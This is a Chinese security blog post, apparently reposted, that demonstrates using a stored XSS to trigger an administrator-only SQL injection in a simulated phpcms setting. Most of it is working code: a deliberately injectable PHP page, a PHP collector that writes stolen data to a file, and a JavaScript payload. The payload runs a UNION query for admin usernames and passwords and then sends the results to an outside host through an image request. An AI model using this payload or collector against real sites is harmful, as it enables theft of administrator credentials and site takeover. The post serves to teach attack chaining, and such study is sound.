昨天看见phpcms v9.1.15爆的xss和无权限的sql注入,于是就想测试下利用xss执行sql注入,虽然爆的这个phpcms 漏洞 还有很多其他的用法!但是,这个注入我没有找到phpcms v9.1.15测试,其他版本都没有测试成功! 于是乎我只有假想下一个极端环境: 1.前台有且只有一个xss漏洞(不能获取管理员cookie) 2.后台有且只有一个sql注入漏洞(注入漏洞文件只有管理员可以访问) 3.注入获得管理员密码可解密 4.除以上无其他任何漏洞(包括后台getwebshell) 其实我就是想说,我们只可以利用这个xss执行注入! 模拟注入漏洞代码 sqli.php 01 <?php 02 @error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING);//错误忽略 03 $con = mysql_connect("localhost","root",""); 04 if(!$con) {die('Could not connect: ' . mysql_error());} 05 mysql_select_db("test",$con); 06 $id = $_GET['xss']; 07 $sql = "select id,realname from test where id="."$id"; 08 $view = mysql_query($sql); 09 $row = mysql_fetch_array($view); 10 echo $row[id]."<br />"; 11 echo $row[realname]."<br />"; 12 ?> mysql 数据库 : 1 database:test 2 table:test、admin 3 column:test.id、test.realname 4 admin.id、admin.username、admin.password get.php(获取的注入后数据截取) 1 <?php 2 $file = fopen("data.txt","a"); 3 fwrite($file,$_GET['get']); 4 fclose($file); 5 ?> xsssqli.js(payload) 01 function addLoadEvent(func)//窗口打开加载多个函数 02 { 03 var oldfunc=window.onload; //页面打开是加载方法 04 if(typeof(window.onload)!="function") 05 { 06 window.onload=func; 07 } 08 else 09 { 10 window.onload=function() 11 { 12 oldfunc(); 13 func(); 14 } 15 } 16 } 17 function get_xsssqli() 18 { 19 var url = "http://www.2cto.com /xss/sqli.php?xss=1%20and%201=2%20union%20select%20username,password%20from%20admin";
20 var ajax = null; 21 if(window.XMLHttpRequest) 22 { 23 ajax = new XMLHttpRequest(); 24 } 25 else if(window.ActiveXObject) 26 { 27 ajax = new ActiveXObject("Microsoft.XMLHTTP");//ie6和一下老版本 28 } 29 else 30 { 31 return; 32 } 33 ajax.open("GET", url, true); 34 ajax.send(null); 35 ajax.onreadystatechange = function() 36 { 37 if(ajax.readyState == 4 && ajax.status == 200) 38 { 39 var img = document.createElement("img"); 40 img.src = "http://www.2cto.com /xss/get.php?get="+ajax.responseText;
41 document.body.appendChild(img); 42 } 43 } 44 } 45 addLoadEvent(get_xsssqli); 模拟xss漏洞 1 < html > 2 <head> 3 <title>use xss to sqli</title> 4 </head> 5 <body> 6 <script src=http://127.0.0.1/xss/get.js ></script> 7 </body> 8 </html> 最后成功得到数据:
当然你也可以写个正则截获指定数据! 作者:L.N.博客 http://lanu.sinaapp.com/htmlcssjisxml/112.html
查看更多关于利用xss执行sql注入 - 网站安全 - 自学php的详细内容...